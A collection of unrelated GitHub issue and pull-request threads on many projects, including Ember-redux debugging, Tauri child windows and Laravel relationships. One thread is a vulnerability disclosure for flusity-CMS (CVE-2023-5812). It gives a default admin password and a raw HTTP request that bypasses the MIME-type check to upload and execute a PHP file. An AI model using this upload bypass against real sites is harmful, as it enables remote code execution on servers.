[Programming question]: Agentic frameworks

I need to give a talk about agentic frameworks using LLMs to solve tasks. Let's brainstorm on 10 slides about that content.
git-bob comment

Expand the content: write sentences instead fo bullet points and create a powerpoint slide deck from this.
git-bob try to do this


update README for webapp-maven-plugin

@xscript,
Thanks for your contribution as a Microsoft full-time employee or intern. You do not need to sign a CLA.
Thanks,
Microsoft Pull Request Bot

Codecov Report

Merging #10 into master will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff           @@
##           master     #10   +/-   ##
======================================
  Coverage    63.8%   63.8%
======================================
  Files          20      20
  Lines         442     442
  Branches       70      70
======================================
  Hits          282     282
  Misses        140     140
  Partials       20      20

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 6f1ba7f...12b07fe. Read the comment docs.


Unrestricted Upload of File with Dangerous Type in upload.php

After installation, log in to the backend using the default account password tester/1234
select files

select upload_file

Intercept traffic packets, modify filename to a PHP file name suffix, and change the content to PHP code.

POST /core/tools/upload.php HTTP/1.1
Host: xxxxx
Content-Length: 164075
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://fluency
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAY81e4VlxYZXQEi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://fluency/core/tools/files.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=k2l9ec3hfjhj2f19d5lml13qal
Connection: close

------WebKitFormBoundaryiAY81e4VlxYZXQEi
Content-Disposition: form-data; name="uploaded_file"; filename="a.php"
Content-Type: image/png

<?php echo "20231025";?>
------WebKitFormBoundaryiAY81e4VlxYZXQEi--

view uploaded files

execute php code correctly

on line 15 of upload.php：
$allowed_file_types = ['image/png', 'image/jpeg', 'image/gif', 'application/pdf', 'application/msword', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'];
$max_file_size = 5 * 1024 * 1024;

$file_id = handleFileUpload($db, $prefix['table_prefix'], $target_dir, $allowed_file_types, $max_file_size);

It is not enough to filter file_types, you need to filter the file name

Thanks for the note, the handleFileUpload function that works with
upload.php has been updated.
2023-10-25, tr, 15:24 光头强不会砍树了 @.***> rašė:

After installation, log in to the backend using the default account
password tester/1234
select files
[image: image]
https://user-images.githubusercontent.com/113713406/278000469-c1be6738-5617-4fac-ac3e-3f2bb77a9cb9.png
select upload_file
[image: image]
https://user-images.githubusercontent.com/113713406/278001430-8da3e39a-bf14-40dd-a0fe-16e1506f3a91.png
Intercept traffic packets, modify filename to a PHP file name suffix, and
change the content to PHP code.
[image: image]
https://user-images.githubusercontent.com/113713406/278003089-54b63469-b35a-41a3-8a7f-064c7b6ed9a0.png
POST /core/tools/upload.php HTTP/1.1
Host: xxxxx
Content-Length: 164075
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://fluency
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryiAY81e4VlxYZXQEi
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/<IP_ADDRESS> Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://fluency/core/tools/files.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=k2l9ec3hfjhj2f19d5lml13qal
Connection: close
------WebKitFormBoundaryiAY81e4VlxYZXQEi
Content-Disposition: form-data; name="uploaded_file"; filename="a.php"
Content-Type: image/png

------WebKitFormBoundaryiAY81e4VlxYZXQEi--
view uploaded files
[image: image]
https://user-images.githubusercontent.com/113713406/278003363-2a516fe0-335e-4941-8ee2-5761472b78e6.png
execute php code correctly
[image: image]
https://user-images.githubusercontent.com/113713406/278003566-4fff6d9e-74f1-4181-bf35-2a7513afa23a.png
on line 15 of upload.php：
$allowed_file_types = ['image/png', 'image/jpeg', 'image/gif', 'application/pdf', 'application/msword', 'application/vnd.ms-excel', 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'];
$max_file_size = 5 * 1024 * 1024;
$file_id = handleFileUpload($db, $prefix['table_prefix'], $target_dir, $allowed_file_types, $max_file_size);
It is not enough to filter file_types, you need to filter the file name
—
Reply to this email directly, view it on GitHub
https://github.com/flusity/flusity-CMS/issues/4, or unsubscribe
https://github.com/notifications/unsubscribe-auth/AZINVWZQ4AK4Z6DHHFTCFPLYBEAIXAVCNFSM6AAAAAA6PJFQE2VHI2DSMVQWIX3LMV43ASLTON2WKOZRHE3DCMRZHEYTSOI
.
You are receiving this because you are subscribed to this thread.Message
ID: @.***>

--
Pagarbiai,
Darius Jakaitis

CWE-434
Assigned CVE-2023-5812


[agent-kit] Make Specialist and Looper Models switchable

TODO:

[x] #2906
[ ] Factor out "Big Model" board out of Specialist
[ ] Implement 3.5 Sonnet as "Big Model" board
[ ] ...

Mock

Declaring victory :shipit:


:sparkles: Update go version to 1.20

Summary
Updates go version to 1.20
Related issue(s)
Fixes #

will revisit this later. openshift/release repo need changing first


Sending to a dead socket causes exception to be thrown.

Which is getting handled by the broker error handler, probably because it's being called as part of a callback attached to an AMQP consumer.
This causes the broker connection to be servered and all websockets to be closed.

I am archiving this repo, we need to move it to our GHE installation.


No more coaddition. Use NN2 flux difference method.

I think I should rewrite to use Masao's suggested approach, which is: do single-epoch DIA on each image N times, where N is the number of template images. Then, coadd the difference images at the end. So, I would not coadd anything until the very end. It is more computationally expensive, but it builds on code that already works, and I think I'm wasting a lot of time trying to hunt this down. I could also simultaneously rewrite so that I rotate the reference to match the science instead of the other way around (like I'm currently doing).
To make the science image where I get the ZPT (i.e., the science image that's un-subtracted but has been cross-convolved with the reference and the decorrelation kernel applied), I could just make N of these, do photometry on the stars in all N images, and take the median exactly as I was doing before. This also may allow for SFFT on smaller stamp sizes (1K)--the issue with making the stamps smaller was there weren't enough stars in the stamps to get a ZPT. This would multiply the number of stars by N.
Thoughts?
Originally posted by @laldoroty in https://github.com/laldoroty/phrosty/issues/12#issuecomment-2246186857
Then, @wmwv responded:

If you're going to go done the N-combinations path, I might offer:
"The NN2 Flux Difference Method for Constructing Variable Object Light Curves"
https://ui.adsabs.harvard.edu/abs/2005AJ....130.2272B/abstract
Barris, Tonry, Novicki, Wood-Vasey
"""
We present a new method for optimally extracting point-source time variability information from a series of images. Differential photometry is generally best accomplished by subtracting two images separated in time, since this removes all constant objects in the field. By removing background sources such as the host galaxies of supernovae, such subtractions make possible the measurement of the proper flux of point-source objects superposed on extended sources. In traditional difference photometry, a single image is designated as the ``template'' image and is subtracted from all other observations. This procedure does not take all the available information into account and for suboptimal template images may produce poor results. Given N total observations of an object, we show how to obtain an estimate of the vector of fluxes from the individual images using the antisymmetric matrix of flux differences formed from the N(N-1)/2 distinct possible subtractions and provide a prescription for estimating the associated uncertainties. We then demonstrate how this method improves results over the standard procedure of designating one image as a template and differencing against only that image.
"""
I think going back to single-image subtractions make sense. Coadding the difference images doesn't seem necessary. I would photometry and then combine in catalog space.

So, going to rewrite code to use this method. Rewrote code structure plan: https://github.com/Roman-Supernova-PIT/diff-img/discussions/14

Test code, seems to work.
v1 = np.array([3.12])
v2 = np.array([3.22])
v3 = np.array([3.33])
v4 = np.array([3.1])
vecs = np.hstack([v1,v2,v3,v4])

n = 4
N = int(n*(n-1)/2)

print('N, n:')
print(N, n)

dv1 = v1-v2
dv2 = v1-v3
dv3 = v1-v4
dv4 = v2-v3
dv5 = v2-v4
dv6 = v3-v4

A = np.hstack([dv1,dv2,dv3,dv4,dv5,dv6])

print(A)
print('A shape:')
print(A.shape)

C = np.diagflat([0.1,0.12,0.2,0.14,0.16,0.09])

print('C shape:')
print(C.shape)

i, j = np.triu_indices(n, k=1)
X = np.zeros((N,n))

print('X shape:')
print(X.shape)
np.put_along_axis(X, i[:, None], 1, axis=1)
np.put_along_axis(X, j[:, None], -1, axis=1)

XTCXXT = np.linalg.lstsq(X.T @ np.linalg.inv(C) @ X, X.T, rcond=None)
print('XTCXXT shape')
print(XTCXXT[0].shape)

v = XTCXXT[0] @ np.linalg.inv(C) @ A

print('SOLUTION:')
print(vecs - v)

Output:
SOLUTION:
[3.1925 3.1925 3.1925 3.1925]

@wmwv when you're back from vacation, can you take a look at the above and confirm the right idea is there? Particularly with the solution being an n-length vector instead of a scalar. I expect that for real data, (vecs-v) will not contain all identical values.

I am going to close this issue. I am not working on it and the branch is littered with other stuff. I will re-open a new issue for sorting out the photometry.

Merged to new branch associated with issue #20. Closing.


please add child window support for linux platform [feat]

Describe the problem
Hi, In current 2.0 alpha, mac and windows have child window feature, which is important for my app,  but in linux, there is no the chlid window support,  please add it, thanks.
Describe the solution you'd like
Add child window feature for linux
Alternatives considered
No response
Additional context
No response

Can you explain your use-case of child windows? just want to know if the available GTK APIs match your needs

Just a bit more context, i asked them to open this issue because it looked like tao already has an api for this (that transient_for thingy) which we just didn't expose yet. Was this incorrect? Also, are there other gtk apis besides that one like on windows which has multiple too?

I am thinking about maybe providing a single .parent child (while keeping the platform-specifc ones as well) similar to electron's parent property so knowing about the use-case will make it more clearer what direction we should head into.

Hi, in the tauri 2.0 source tree, there is a example called "parent-window", some code in that like this:
#[command]
async fn create_child_window(id: String, window: Window) {
  let child = WindowBuilder::new(&window, id, WindowUrl::default())
    .title("Child")
    .inner_size(400.0, 300.0);

  #[cfg(target_os = "macos")]
  let child = child.parent_window(window.ns_window().unwrap());
  #[cfg(windows)]
  let child = child.parent_window(window.hwnd().unwrap());

  child.build().unwrap();
}

Here have  macos and windows support, but no linux, I searched the source code of tauri, in linux impl, no parent_window method indeedly.  I think what I want is the equivalent of here's parent_window method.
with the child-parent relation, I want the child window have importent features:

the "child window"'s position is fixed in it's parent, can't move everywhere, unless I reset the position.
child window not show in system's taskbar

as discussed here: https://github.com/tauri-apps/tauri/discussions/8574
thank you @amrbashir


Fix issue where the numbering for the process checklist criteria is wrong

…rong
Description
Fix issue where the numbering for the process checklist criteria is wrong.
Motivation and Context
See https://github.com/IMDA-BTG/aiverify/issues/124.
Type of Change

fix: numbering for the process checklist criteria is wrong.
How to Test

Update/install process checklist plugin
Generate a report with process checklist
Ensure that the criteria numbering is correct.

Checklist
Please check all the boxes that apply to this pull request using "x":

[x ]  I have tested the changes locally and verified that they work as expected.
[ ]  I have added or updated the necessary documentation (README, API docs, etc.).
[ ]  I have added appropriate unit tests or functional tests for the changes made.
[ ]  I have followed the project's coding conventions and style guidelines.
[ ]  I have rebased my branch onto the latest commit of the main branch.
[ ]  I have squashed or reorganized my commits into logical units.
[ ]  I have added any necessary dependencies or packages to the project's build configuration.
[ ]  I have performed a self-review of my own code.
[ ]  I have read, understood and agree to the Developer Certificate of Origin below, which this project utilises.

Screenshots (if applicable)
[If the changes involve visual modifications, include screenshots or GIFs that demonstrate the changes.]
Additional Notes
[Add any additional information or context that might be relevant to reviewers.]

Developer Certificate of Origin
Developer Certificate of Origin
Version 1.1

Copyright (C) 2004, 2006 The Linux Foundation and its contributors.

Everyone is permitted to copy and distribute verbatim copies of this
license document, but changing it is not allowed.

Developer's Certificate of Origin 1.1

By making a contribution to this project, I certify that:

(a) The contribution was created in whole or in part by me and I
   have the right to submit it under the open source license
   indicated in the file; or

(b) The contribution is based upon previous work that, to the best
   of my knowledge, is covered under an appropriate open source
   license and I have the right under that license to submit that
   work with modifications, whether created in whole or in part
   by me, under the same open source license (unless I am
   permitted to submit under a different license), as indicated
   in the file; or

(c) The contribution was provided directly to me by some other
   person who certified (a), (b) or (c) and I have not modified
   it.

(d) I understand and agree that this project and the contribution
   are public and that a record of the contribution (including all
   personal information I submit with it, including my sign-off) is
   maintained indefinitely and may be redistributed consistent with
   this project or the open source license(s) involved.

Tested with PDP. Working as expected. Report Generated.


Travis ci improvements

About this Pull request

Removing NodeJS duplication in .travis.yml;
Removing progress in install tasks (NPM, YARN);

thx!


Please explain how to debug unit tests.

I see how to debug the app, but it doesn't mention how to debug unit tests.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 98d01d28-eba7-401c-5716-1361edfa928d
Version Independent ID: f235603a-edcc-257a-901e-b0709cf81053
Content: Building a complete .NET Core solution on macOS using Visual Studio for Mac - .NET Core
Content Source: docs/core/tutorials/using-on-mac-vs-full-solution.md
Product: dotnet-core
GitHub Login: @mairaw
Microsoft Alias: mairaw

@AskYous I believe you need to open the context menu on the test and select Debug.
This is something we could note in this article though.

Actually I found out the issue. It's that the sdk does not bring all the results. It only brings, perhaps, page 1 of the results. When I would edit the prompts of a qna set, it would push that qna set to the end of the list, and the SDK only returns page 1 of the list. I have also received the same results the api console.
In qnamaker.com, they add a query parameter to their URL: ?getFlattened=true. That will return the entire knowledgebase, and not just page 1 of it.

Hey @Thraka , it seems that this issue is solved.  #16349 added some content, specially the last paragraph, about the debug feature.
https://docs.microsoft.com/en-us/dotnet/core/tutorials/using-on-mac-vs-full-solution#see-also

Right you are. Thank you for noting that!


git getBranch api throws "No branch found" when using branch with name including ref/remotes

Issue Type: Bug

Using GHPRI extension, try to checkout a branch that you do not already have locally

VS Code version: Code - Insiders 1.53.0-insider (7b0cfdd04ad530a9c8d782c618afd79290be3d64, 2021-01-27T08:57:30.935Z)
OS version: Darwin x64 19.6.0

/closedWith e6d5a20944074d2a74985a4eb169b8d96594b7ea

/closedWith e6d5a20944074d2a74985a4eb169b8d96594b7ea


Problem with SCPH-5500 japanese unit

Stuck in Memory Card and CD player screen. Cursor will move but it's intermittent.
Checked all wirings and continuity on all points are correct.
Incompatible unit?

Did you test continuity between points?
Had the same problem at first, and it was a tiny ridge between two points.

I'll try rewiring everything again.

Still the same problem. I really think it's incompatible.
I'll try other sd cards.

Is gnd wired from the same designated position as the image?
I was stuck there.

I get the same on 2 of my Japanese units. Controller locks up until you open the lid. Never boots. Same picostation works on pu18 and pu8 boards.


Manually register Excel add-in should be part of the tutorial

Excel on Mac Version 16.58 22021501
Tested using yo office with excel custom function template
This is really hard to figure out for beginners since the tutorial just doesn't work

Affected articles: (at least these)

Custom functions quick start - Office Add-ins | Microsoft Docs
Excel custom functions tutorial - Office Add-ins | Microsoft Docs

The following instructions should be:

added to the first article
moved to Try out a prebuilt custom function section, instead of being in Create a custom function that requests data from the web section which is one page after

(From Excel custom functions tutorial - Office Add-ins | Microsoft Docs, Section Create a custom function that requests data from the web)
Complete the following steps (for Excel on the web, Windows, or Mac) to re-register the add-in in Excel. You must complete these steps before the new function will be available.

...
...
(image)
In the list of available add-ins, find the Developer Add-ins section and select the starcount add-in to register it.

Document details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: a30fb645-c853-a93a-4137-1e2bf7398a11
Version Independent ID: 75fb99ac-72e8-7bdc-ff1b-85e7ed930d50
Content: Excel custom functions tutorial - Office Add-ins
Content Source: docs/tutorials/excel-tutorial-create-custom-functions.md
Product: excel
Technology: add-ins
GitHub Login: @o365devx
Microsoft Alias: o365devx

Hi @yifeiyin,
Thanks for reporting this issue. I'm sorry to hear yo office didn't automatically launch the add-in in Excel. @alison-mk, could you please investigate?

Hi @yifeiyin, thank you for submitting this feedback! I've tested the custom functions tutorial and quick start and confirmed your findings. I've also opened a PR to incorporate the feedback you suggested. This issue will close once that PR is merged.
Cheers,
Alison


Updating CHAOSS WG as per governance structure

Updating CHAOSS WG as per CHAOSS governance structure. Following changes are implemented.

Deleted DEI badging page and included the information on WG page.
Added pointer for LATAM and Easter Europe Chapter.
Revised the content of WG into matrics, context, and chapters.

Signed-off-by: Vinod K. Ahuja<EMAIL_ADDRESS>

I think this is probably ready to merge if @ElizabethN and @klumb are good with it?


Preceding button in Button addons has extra border visible in low DPI screens

Preceding (or prefix?) buttons in  Button addons have extra margin which makes it appear as if it has thick borders (actually 2 borders of button and input box).
It appears clearly only on low DPI screen, I tested on 20 inch 1080p monitor.
Here's a screenshot. Direct link to image is here.

Affects Bootstrap Version: v4 Alpha 3
Tested on: Chrome 52 (64Bit) on Windows 7.
Screen: 21" Dell Monitor, 1080p.

This glitch was present in v4 alpha 2, and also is present in alpha 3.

I can reproduce this on the current v4-alpha site on Chrome 51 on OS X 10.11.4 on a 2880x1800 15" Retina Macbook Pro. This does not happen on Firefox 47 on the same system.
Screenshot on Chrome 51:

Duplicate of #14237.
Acknowledged bug in Chrome: https://bugs.chromium.org/p/chromium/issues/detail?id=534750


Here's a screenshot for you

http://pub.iotek.org/p/Z15P34j.png

/gamez is my large directory because of a partitioning mistake, should I rename it?


Capacitor Bank I/O values not saving on dimension change

Issue Description:
Already reported on FTB Forums, report can be found here.  Basically, switching between dimensions sometimes causes capacitor bank input/output values to change to 0, this does not happen every time.
What happens:
When you switch from one dimension to another, such as overworld to nether, or vice versa... SOMETIMES the input/output values on the capacitor banks gets set to 0.  So far, I have had this issue with both the basic capacitor bank and vibrant capacitor bank, I have not tried any others.
What you expected to happen:
The input/output values of a capacitor bank to stay the same when switching between dimensions.
Steps to reproduce:

Place a capacitor bank and set the input/output values
Leave the current dimension and come back
Check the capacitor banks input/output values
If the values have not changed, continue hopping between dimensions and checking the capacitor bank until it happens, as it is not something that happens every time.

Affected Versions (Do not use "latest"):

EnderIO: 1.10.2-3.1.156
EnderCore: 1.10.2-<IP_ADDRESS>
Minecraft: 1.10.2
Forge: <IP_ADDRESS>4

Your most recent log file where the issue was present:
Not available at the moment

There have been many changes to the capacitor banks regarding that issue between your version and the current one.
See https://github.com/SleepyTrousers/EnderIO/issues/3763 for details.


tests discover

Issue Type

Feature request

Molecule and Ansible details
ansible 2.5.2

molecule 2.13

Molecule installation method (one of):

source
pip

Ansible installation method (one of):

source
pip
OS package

Desired Behavior
Run molecule test, will find all molecule in dir tree, like for unittest discover
molecule test --discover

Hi @pawelkopka, unfortunately this is not something we will be adding.

Molecule verify runs your tests.  Is that what you were asking about?


nixos/emacs: use full path in EDITOR environment variable

Description of changes
use /run/current-system/sw/bin/emacseditor in EDITOR environment variable when user set services.emacs.defaultEditor to true. This will result in a full path to the emacseditor executable. It is not possible to set that environment variable if emacs service is not enabled. Previously it was relied of emacseditor binary being in PATH, which is not always the case, for example using nix-shell --pure --keep EDITOR
related PRs: https://github.com/NixOS/nixpkgs/pull/310982 https://github.com/NixOS/nixpkgs/pull/311114
Things done

Built on platform(s)

[ ] x86_64-linux
[ ] aarch64-linux
[ ] x86_64-darwin
[ ] aarch64-darwin

For non-Linux: Is sandboxing enabled in nix.conf? (See Nix manual)

[ ] sandbox = relaxed
[ ] sandbox = true

[ ] Tested, as applicable:

NixOS test(s) (look inside nixos/tests)
and/or package tests
or, for functions and "core" functionality, tests in lib/tests or pkgs/test
made sure NixOS tests are linked to the relevant packages

[ ] Tested compilation of all packages that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review rev HEAD". Note: all changes have to be committed, also see nixpkgs-review usage
[ ] Tested basic functionality of all binary files (usually in ./result/bin/)
24.05 Release Notes (or backporting 23.05 and 23.11 Release notes)

[ ] (Package updates) Added a release notes entry if the change is major or breaking
[ ] (Module updates) Added a release notes entry if the change is significant
[ ] (Module addition) Added a release notes entry if adding a new NixOS module

[x] Fits CONTRIBUTING.md.

Add a :+1: reaction to pull requests you find important.

When I run nix-shell -p emacs -I nixpkgs=..., I'd expect any command using $EDITOR to use the emacs from the Nix shell

This is a valid argument for other editors such as vim.
But it is not valid in this case because EDITOR=emacseditor is a wrapper for emacsclient which talks to an Emacs daemon.  If you use emacsclient in that nix-shell environment, talking to the Emacs daemon is a reasonable behaviour.

That is a good point and for the Emacs part, I'd agree. If there is only supposed to be a single instance of something, that instance should also be used. For the case of emacsclient, I'd absolutely agree. However, the emacseditor script also contains --alternate-editor which points at an absolute emacs path again.
Much more of an edge-case but the problem is still evident.

I have created an issue https://github.com/NixOS/nixpkgs/issues/311207 which should be a good place for discussion.

Let's discuss whether this is a good policy first.
@Atemu here


Remove cleanup alerts_to, it doesn't get used. Replace with hooks.

This sort of functionality is better suited in a module, not in the core deploynaut.
alerts_to isn't being used on any of our implementations of this module, probably because it was too noisy :)

:+1:

:trumpet:


ipay

This issue tracker is only for technical issues related to litecoin-core.
General litecoin questions and/or support requests and are best directed to the litecointalk.io forums.
For reporting security issues, please contact the Litecoin developers on the #litecoin-dev Freenode IRC channel or alternatively you can email us at<EMAIL_ADDRESS>Describe the issue
Can you reliably reproduce the issue?
If so, please list the steps to reproduce below:

Expected behaviour
Tell us what should happen
Actual behaviour
Tell us what happens instead
Screenshots.
If the issue is related to the GUI, screenshots can be added to this issue via drag & drop.
What version of litecoin-core are you using?
List the version number/commit ID, and if it is an official binary, self compiled or a distribution package such as PPA.
Machine specs:

OS:
CPU:
RAM:
Disk size:
Disk Type (HD/SDD):

Any extra information that might be useful in the debugging process.
This is normally the contents of a debug.log or config.log file. Raw text or a link to a pastebin type site are preferred.

ipay


[Ember 2.10] Uncaught Error: infinite rendering invalidation detected

2.10 introduced Glimmer 2. Glimmer 2 introduced infinite rendering invalidation detection. Not entirely sure what that is, haven't dug enough.
We have a master detail layout in our app, and the detail panel is what uses redux. We have it carved out as an addon.
When a user clicks the first item, none of the detail components exist yet. The detail panel slides in, the detail addon top level component is rendered with a handful of inputs, it makes a few server calls and renders all the things.
When a user clicks a second item, because the panel is already open, we have ~15ish components already bound to state and listening for updates.
There are enough components listening to some of the inputs that handleChange is called a good number of times.  Too many.  And then that error happens and things explode.
There are definitely steps I can take to reduce the number of components bound into state.  I can also do some work to batch some actions so that synchronous actions that happen to have some overlapping state do not get updated multiple times.
But I can absolutely foresee, post improvements, still having this issue and being forced to destroy most all of the detail before I do anything with the new inputs so that components aren't listening for changes. In some cases this might be the ideal thing to do anyway, and I expect that'll be one of the best improvements I can make, but in some it isn't ideal.
Not sure exactly what ember-redux can do differently to smooth this over, but I'd guess it'll be something other folks run into at some point.

FWIW, redux-batched-actions doesn't do what I stupidly through it would do. It accumulates actions, but still executes them in succession.
This has turned into a major deal breaker.
Let me know if there is something I'm missing with Redux but...
I have lets say 10 components bound to state. I update some state. All 10 components have their handleChange called.  I call 3 or 4 actions in succession (practically at the same time), (INITIALIZE, BEGIN-LOAD-DATA-A, BEGIN-LOAD-DATA-B, etc) that is 3 or 4 updates to state and 30/40 calls to handleChange. This breaks Ember.
The only thing I've tried that seems to help a little is run.debounce(this, this.handleChange, 50); but even that just postpones the problem. It stops the same component from having its handleChange called over and over, but if I have enough components...

Interesting.  I wonder if the change/discussion in #59 would be of assistance here.  Can you try that branch and see if it makes a difference?

@dbashford thanks for the update - it seems we need a more complex test case /example of many components with many handleChange calls (on G2/ember 2.10). One thing that leaps to mind is what the most simplistic example might look like here - any chance you have time to stripe this down to something fairly basic so we can reproduce/learn from your setup?
Honestly would love to see what broke this and how we can improve the handleChange (subscription) callback to accommodate

I didn't try anything from that PR because it felt like simply adding to the run loop, no matter what it was, was causing trouble.
I even went so far as to do something like this and still got the errors.
const redux = this.get('redux');
let props = stateToComputed(redux.getState());
const notifyProperties = [];
Object.keys(props).forEach(name => {
  if (this.get(name) !== props[name]) {
    notifyProperties.push(name);
  }
});

if (notifyProperties.length > 0) {
  run.debounce(() => {
    notifyProperties.forEach((name) => this.notifyPropertyChange(name));
  }, 50);
}

So limiting entries into the run loop to just those components with updated state, and debouncing to prevent the same component from notifying over and over (even though that wouldn't technically be good for the app, I was grasping at straws).
COB yesterday I think I finally got the app working again, but at this point I've piled hack on hack. Time to remove those one at a time to see what did the job. And I gave up making updates to ember-redux to try and get things working. Eventually just started to modify app code to try and avoid the problem.
It'll take at least the day to get this right. Hopefully will have a useful post mortem.

Started from scratch and added things I learned yesterday one at a time. I quickly got to the few things causing me trouble.
When the errors were first seen, the stack trace took us back to handleChanges every time. As I started eliminating redux usage yesterday, another piece of code in our app became the problem.  So it isn't ember-redux alone, more of a larger run loop usage theme.
We are using ember-spaniel for viewport tracking. We have SpanielObserver being registered on didInsertElement for a component that can be rendered 10-30 times on the page.  It was being registered like this
    const observer = new SpanielObserver(([entry]) => {
      run(() => {
        this.set('viewportEntered', entry.entering);
      });
    }, options);

That run is called immediately for any components within a certain distance of the viewport.  At most 16 times all at once.
Changed it to:
    const observer = new SpanielObserver(([entry]) => {
      run.scheduleOnce('afterRender', () => {
        this.set('viewportEntered', entry.entering);
      });
    }, options);

And things got better.  But the app didn't fix until this was also changed in ember-redux:
this.unsubscribe = redux.subscribe(() => {
  run(() => this.handleChange());
});

turned into this:
this.unsubscribe = redux.subscribe(() => {
  run.next(() => this.handleChange());
});

Both of the above changes are necessary to get us to a happy place, at least without making more modifications. Still re-doing a lot of tweaking from yesterday to see if I can get to a point where the run.next isn't required.

And so as to keep spamming all this repo's watchers...
Once I fixed a few other things in my app, including the Spaniel stuff, then this worked as an alternative to just using run.next. Maybe it's best to not bother Ember until you know you need to?
const redux = this.get('redux');
let props = stateToComputed(redux.getState());
const notifyProperties = [];
Object.keys(props).forEach(name => {
  if (this.get(name) !== props[name]) {
    notifyProperties.push(name);
  }
});

if (notifyProperties.length > 0) {
  run(() => {
    notifyProperties.forEach((name) => this.notifyPropertyChange(name));
  });
}

@dbashford wow this is an epic find -can't believe we didn't take more care w/ ember.run prior to this issue :) thanks for the hard work/debugging effort!!! Hoping to land a fix for this tomorrow


[5.1] Fixes morphTo relationships being named with snake case attributes

This reverts commit 5393d40ca936d06d55c2dce4c2540ab47e7c2b4a, with the intention of resolving the memory issue identified in https://github.com/laravel/framework/issues/11138

Did I not already revert it?

Also if this is a fix. How do I know it's a fix. Don't we actually need an extra test?

@taylorotwell yep you did - this PR (which needs changes as @GrahamCampbell has tagged) needs more work to resolve the memory issue found in #11138

@taylorotwell well yes, but the change from the original test matches the same test pattern used for other relationships, I guess we could add an integration test to assert that the eager loaded relationships are snake_cased to assert that #10501 is actually fixed.

So this PR isn't ready? It still doesn't resolve the memory issue?
On Wed, Dec 2, 2015 at 9:16 PM, Zak Henry<EMAIL_ADDRESS>wrote:

@taylorotwell https://github.com/taylorotwell well yes, but the change
from the original test matches the same test pattern used for other
relationships, I guess we could add an integration test to assert that the
eager loaded relationships are snake_cased to assert that #10501
https://github.com/laravel/framework/issues/10501 is actually fixed.
—
Reply to this email directly or view it on GitHub
https://github.com/laravel/framework/pull/11155#issuecomment-161503975.

@taylorotwell correct. I'm unable to replicate the memory issue, so I was hoping the OP in #11138 can investigate and assist with this PR

Someone can send a PR to fix this when someone actually provides more info on the problem, real tests, etc.

@taylorotwell okay, can you please re-open https://github.com/laravel/framework/issues/10501 then as there is a good explanation of the problem there.


Head node and login node ip in motd

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

"You are on the controller" but we then say "Head node IP". Lets be consistent in naming convention, ie controller or head

otherwise, approving

"You are on the controller" but we then say "Head node IP". Lets be consistent in naming convention, ie controller or head

Updated to "Controller"


feat: Implement google::cloud::spanner::Transaction

A transaction is a set of reads and writes that execute atomically at a
single logical point in time across the columns/rows/tables in a database.
A google::cloud::spanner::Transaction is passed to each of those read and
write operations, tying them together.
Transaction is opaque to the user, but google::cloud::spanner::Client is
granted the friendship needed to implement its Read()and ExecuteSql()
calls.
Fixes #30.

This change is

are transactions just "transaction selectors" that create the actual transaction on demand? Or can they represent an actual transaction, by which I mean the result of calling the BeginTransaction() rpc?

I'll say both.  They start off as "transaction selectors", but as soon as that selector is used in an RPC, BeginTransaction() or anything else, they become bound to the allocated "tranaction id".
We have an option open as to whether Client::BeginTransaction() will exist and the user can call that if they want to bind early, or if the Transaction might be marked as "eager" where Client would do the BeginTransaction RPC for you on first use.

@devjgm, PTAL.  Thanks.


doc: document how to run local integration tests via docker-compose

update readme.
basically,

make setup
edit env file
run make integration-local
docker-compose file can narrow down which test you run.
only connectionstring test work since it's local
localhost:16686 for jaeger traces

stale


Add config for sort nulls

What type of PR is this：

[ ] bug
[ ] feature
[ ] enhancement
[ ] others

Which issues of this PR fixes ：

For TPC-DS test easy

Add config to set default nulls order
Set CTE reuse ratio visiable

Problem Summary(Required) ：

[FE PR Coverage check]
:heart_eyes: pass : 5 / 5 (100.00%)
file detail

path
covered line
new line
coverage

:large_blue_circle:
com/starrocks/sql/parser/AstBuilder.java
1
1
100.00%

:large_blue_circle:
com/starrocks/qe/SessionVariable.java
1
1
100.00%

:large_blue_circle:
com/starrocks/analysis/OrderByElement.java
1
1
100.00%

:large_blue_circle:
com/starrocks/common/Config.java
2
2
100.00%

run starrocks_be_unittest

run starrocks_be_unittest

[FE PR Coverage check]
:heart_eyes: pass : 4 / 4 (100.00%)
file detail

path
covered line
new line
coverage

:large_blue_circle:
com/starrocks/sql/parser/AstBuilder.java
1
1
100.00%

:large_blue_circle:
com/starrocks/analysis/OrderByElement.java
1
1
100.00%

:large_blue_circle:
com/starrocks/common/Config.java
2
2
100.00%

I don't think we should add config randomly for testing convenience, it will bring unpredictable confusion

I don't think we should add config randomly for testing convenience, it will bring unpredictable confusion

I aggree with you, but modifying a large number of SQL is too slow, and we may also need to compare with other systems in the future

[FE PR Coverage check]
:heart_eyes: pass : 4 / 4 (100.00%)
file detail

path
covered line
new line
coverage

:large_blue_circle:
com/starrocks/sql/parser/AstBuilder.java
1
1
100.00%

:large_blue_circle:
